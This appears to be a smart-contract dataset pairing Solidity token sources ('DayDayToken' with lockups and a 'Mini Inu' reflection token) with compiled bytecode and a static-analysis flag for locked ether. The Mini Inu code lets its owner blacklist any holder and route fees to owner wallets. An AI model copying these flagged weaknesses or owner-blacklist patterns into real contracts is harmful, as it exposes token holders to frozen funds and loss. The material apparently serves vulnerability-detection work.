contract DayDayToken is BurnableToken {
string public name ;
string public symbol ;
uint8 public decimals = 2;
/**
*@dev users sending ether to this contract will be reverted. Any ether sent to the contract will be sent back to the caller
*/
function ()public payable {
revert();
}
/**
* @dev Constructor function to initialize the initial supply of token to the creator of the contract
*/
function DayDayToken(address wallet) public
{
owner = msg.sender;
ownerWallet = wallet;
totalSupply = 300000000000;
totalSupply = totalSupply.mul(10 ** uint256(decimals)); //Update total supply with the decimal amount
name = "DayDayToken";
symbol = "DD";
balances[wallet] = totalSupply;
startTime = now;
//Emitting transfer event since assigning all tokens to the creator also corresponds to the transfer of tokens to the creator
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
*@dev helper method to get token details, name, symbol and totalSupply in one go
*/
function getTokenDetail() public view returns (string, string, uint256) {
return (name, symbol, totalSupply);
}
function lockTokensForFs (address F1, address F2) public onlyOwner
{
lockup = Lockup({lockupTime:720 days,lockupAmount:90000000 * 10 ** uint256(decimals)});
lockupParticipants[F1] = lockup;
lockup = Lockup({lockupTime:720 days,lockupAmount:60000000 * 10 ** uint256(decimals)});
lockupParticipants[F2] = lockup;
}
function lockTokensForAs( address A1, address A2,
address A3, address A4,
address A5, address A6,
address A7, address A8,
address A9) public onlyOwner
{
lockup = Lockup({lockupTime:180 days,lockupAmount:90000000 * 10 ** uint256(decimals)});
lockupParticipants[A1] = lockup;
lockup = Lockup({lockupTime:180 days,lockupAmount:60000000 * 10 ** uint256(decimals)});
lockupParticipants[A2] = lockup;
lockup = Lockup({lockupTime:180 days,lockupAmount:30000000 * 10 ** uint256(decimals)});
lockupParticipants[A3] = lockup;
lockup = Lockup({lockupTime:180 days,lockupAmount:60000000 * 10 ** uint256(decimals)});
lockupParticipants[A4] = lockup;
lockup = Lockup({lockupTime:180 days,lockupAmount:60000000 * 10 ** uint256(decimals)});
lockupParticipants[A5] = lockup;
lockup = Lockup({lockupTime:180 days,lockupAmount:15000000 * 10 ** uint256(decimals)});
lockupParticipants[A6] = lockup;
lockup = Lockup({lockupTime:180 days,lockupAmount:15000000 * 10 ** uint256(decimals)});
lockupParticipants[A7] = lockup;
lockup = Lockup({lockupTime:180 days,lockupAmount:15000000 * 10 ** uint256(decimals)});
lockupParticipants[A8] = lockup;
lockup = Lockup({lockupTime:180 days,lockupAmount:15000000 * 10 ** uint256(decimals)});
lockupParticipants[A9] = lockup;
}
function lockTokensForCs(address C1,address C2, address C3) public onlyOwner
{
lockup = Lockup({lockupTime:90 days,lockupAmount:2500000 * 10 ** uint256(decimals)});
lockupParticipants[C1] = lockup;
lockup = Lockup({lockupTime:90 days,lockupAmount:1000000 * 10 ** uint256(decimals)});
lockupParticipants[C2] = lockup;
lockup = Lockup({lockupTime:90 days,lockupAmount:1500000 * 10 ** uint256(decimals)});
lockupParticipants[C3] = lockup;
}
function lockTokensForTeamAndReserve(address team) public onlyOwner
{
lockup = Lockup({lockupTime:360 days,lockupAmount:63000000 * 10 ** uint256(decimals)});
lockupParticipants[team] = lockup;
lockup = Lockup({lockupTime:720 days,lockupAmount:415000000 * 10 ** uint256(decimals)});
lockupParticipants[ownerWallet] = lockup;
}
}
|
0x6060604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f5578063095ea7b31461017f57806318160ddd146101b557806323b872dd146101da578063289de61514610202578063313ce567146102fd57806342966c6814610326578063565f2da91461033e57806370a082311461035d5780638da5cb5b1461037c57806395d89b41146103ab578063a9059cbb146103be578063ad4a7bd9146103e0578063b0d81f9414610430578063dd62ed3e14610455578063e22aa47a1461047a578063f2fde38b146104a5575b600080fd5b341561010057600080fd5b6101086104c4565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014457808201518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018a57600080fd5b6101a1600160a060020a0360043516602435610562565b604051901515815260200160405180910390f35b34156101c057600080fd5b6101c86105ce565b60405190815260200160405180910390f35b34156101e557600080fd5b6101a1600160a060020a03600435811690602435166044356105d4565b341561020d57600080fd5b610215610830565b604051808060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561025c578082015183820152602001610244565b50505050905090810190601f1680156102895780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156102bf5780820151838201526020016102a7565b50505050905090810190601f1680156102ec5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b341561030857600080fd5b61031061098c565b60405160ff909116815260200160405180910390f35b341561033157600080fd5b61033c600435610995565b005b341561034957600080fd5b61033c600160a060020a0360043516610a74565b341561036857600080fd5b6101c8600160a060020a0360043516610b4c565b341561038757600080fd5b61038f610b67565b604051600160a060020a03909116815260200160405180910390f35b34156103b657600080fd5b610108610b76565b34156103c957600080fd5b6101a1600160a060020a0360043516602435610be1565b34156103eb57600080fd5b61033c600160a060020a0360043581169060243581169060443581169060643581169060843581169060a43581169060c43581169060e4358116906101043516610daf565b341561043b57600080fd5b61033c600160a060020a0360043581169060243516611115565b341561046057600080fd5b6101c8600160a060020a03600435811690602435166111ef565b341561048557600080fd5b61033c600160a060020a036004358116906024358116906044351661121a565b34156104b057600080fd5b61033c600160a060020a036004351661134d565b60098054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561055a5780601f1061052f5761010080835404028352916020019161055a565b820191906000526020600020905b81548152906001019060200180831161053d57829003601f168201915b505050505081565b600160a060020a03338116600081815260076020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b600080600160a060020a03841615156105ec57600080fd5b600160a060020a0385166000908152600160205260409020548390101561061257600080fd5b600160a060020a03808616600090815260076020908152604080832033909416835292905220548390101561064657600080fd5b60008311801561067c5750600160a060020a03841660009081526001602052604090205461067a818563ffffffff6113e816565b115b151561068757600080fd5b600160a060020a038516600090815260056020526040812060010154111561071c5750600654600160a060020a03851660009081526005602052604090205442919091039081101561071c57600160a060020a038086166000908152600560209081526040808320600190810154339095168452909152902054610711908563ffffffff6113fe16565b101561071c57600080fd5b600160a060020a038516600090815260016020526040902054610745908463ffffffff6113fe16565b600160a060020a03808716600090815260016020526040808220939093559086168152205461077a908463ffffffff6113e816565b600160a060020a038086166000908152600160209081526040808320949094558883168252600781528382203390931682529190915220546107c2908463ffffffff6113fe16565b600160a060020a03808716600081815260076020908152604080832033861684529091529081902093909355908616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3506001949350505050565b610838611410565b610840611410565b60006009600a600054828054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108de5780601f106108b3576101008083540402835291602001916108de565b820191906000526020600020905b8154815290600101906020018083116108c157829003601f168201915b50505050509250818054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561097a5780601f1061094f5761010080835404028352916020019161097a565b820191906000526020600020905b81548152906001019060200180831161095d57829003601f168201915b50505050509150925092509250909192565b600b5460ff1681565b60085433600160a060020a039081169116146109b057600080fd5b600254600160a060020a03166000908152600160205260409020548111156109d757600080fd5b600254600160a060020a0316600090815260016020526040902054610a02908263ffffffff6113fe16565b600254600160a060020a031660009081526001602052604081209190915554610a31908263ffffffff6113fe16565b600055600160a060020a0333167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a250565b60085433600160a060020a03908116911614610a8f57600080fd5b604080519081016040526301da9c008152600b5460ff16600a0a6303c14dc00260208201526003815181556020820151600191820155600160a060020a038316600090815260056020526040908190206003548155600454920191909155905080519081016040526303b538008152600b5460ff16600a0a6318bc65c00260208201526003815181556020820151600191820155600254600160a060020a0316600090815260056020526040902060035481556004549101555050565b600160a060020a031660009081526001602052604090205490565b600854600160a060020a031681565b600a8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561055a5780601f1061052f5761010080835404028352916020019161055a565b600080600160a060020a0384161515610bf957600080fd5b600160a060020a033316600090815260016020526040902054839010801590610c225750600083115b8015610c545750600160a060020a038416600090815260016020526040902054610c52818563ffffffff6113e816565b115b1515610c5f57600080fd5b600160a060020a0333166000908152600560205260408120600101541115610ced5750600654600160a060020a033316600090815260056020526040902054429190910390811015610ced57600160a060020a0333166000908152600560209081526040808320600190810154925290912054610ce2908563ffffffff6113fe16565b1015610ced57600080fd5b600160a060020a033316600090815260016020526040902054610d16908463ffffffff6113fe16565b600160a060020a033381166000908152600160205260408082209390935590861681522054610d4b908463ffffffff6113e816565b600160a060020a0380861660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3600191505b5092915050565b60085433600160a060020a03908116911614610dca57600080fd5b6040805190810160405262ed4e008152600b5460ff16600a0a63055d4a800260208201526003815181556020820151600191820155600160a060020a038b166000908152600560205260409081902060035481556004549201919091559050805190810160405262ed4e008152600b5460ff16600a0a63039387000260208201526003815181556020820151600191820155600160a060020a038a166000908152600560205260409081902060035481556004549201919091559050805190810160405262ed4e008152600b5460ff16600a0a6301c9c3800260208201526003815181556020820151600191820155600160a060020a0389166000908152600560205260409081902060035481556004549201919091559050805190810160405262ed4e008152600b5460ff16600a0a63039387000260208201526003815181556020820151600191820155600160a060020a0388166000908152600560205260409081902060035481556004549201919091559050805190810160405262ed4e008152600b5460ff16600a0a63039387000260208201526003815181556020820151600191820155600160a060020a0387166000908152600560205260409081902060035481556004549201919091559050805190810160405262ed4e008152600b5460ff16600a0a62e4e1c00260208201526003815181556020820151600191820155600160a060020a0386166000908152600560205260409081902060035481556004549201919091559050805190810160405262ed4e008152600b5460ff16600a0a62e4e1c00260208201526003815181556020820151600191820155600160a060020a0385166000908152600560205260409081902060035481556004549201919091559050805190810160405262ed4e008152600b5460ff16600a0a62e4e1c00260208201526003815181556020820151600191820155600160a060020a0384166000908152600560205260409081902060035481556004549201919091559050805190810160405262ed4e008152600b5460ff16600a0a62e4e1c00260208201526003815181556020820151600191820155600160a060020a0390921660009081526005602052604090206003548155600454920191909155505050505050505050565b60085433600160a060020a0390811691161461113057600080fd5b604080519081016040526303b538008152600b5460ff16600a0a63055d4a800260208201526003815181556020820151600191820155600160a060020a038416600090815260056020526040908190206003548155600454920191909155905080519081016040526303b538008152600b5460ff16600a0a63039387000260208201526003815181556020820151600191820155600160a060020a03909216600090815260056020526040902060035481556004549201919091555050565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b60085433600160a060020a0390811691161461123557600080fd5b604080519081016040526276a7008152600b5460ff16600a0a622625a00260208201526003815181556020820151600191820155600160a060020a038516600090815260056020526040908190206003548155600454920191909155905080519081016040526276a7008152600b5460ff16600a0a620f42400260208201526003815181556020820151600191820155600160a060020a038416600090815260056020526040908190206003548155600454920191909155905080519081016040526276a7008152600b5460ff16600a0a6216e3600260208201526003815181556020820151600191820155600160a060020a0390921660009081526005602052604090206003548155600454920191909155505050565b60085433600160a060020a0390811691161461136857600080fd5b600160a060020a038116151561137d57600080fd5b600854600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000828201838110156113f757fe5b9392505050565b60008282111561140a57fe5b50900390565b60206040519081016040526000815290565b6000808315156114355760009150610da8565b5082820282848281151561144557fe5b04146113f757fe00a165627a7a723058201a071d3cff3e005da22fcd095e0f3df8e6a31c9ec97fe810277abf7907aaf35b0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 6,297 |
0x7be0e7f0ee43e00edff3cc2ca22054f16d9f3bb1
|
/**
*Submitted for verification at Etherscan.io on 2021-06-27
*/
//Mini Inu token
//telegram: https://t.me/miniinu
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MiniInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1* 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Mini Inu";
string private constant _symbol = 'MININU️';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 3;
uint256 private _teamFee = 7;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573fffffffffffffffffffffffffffffffffffffff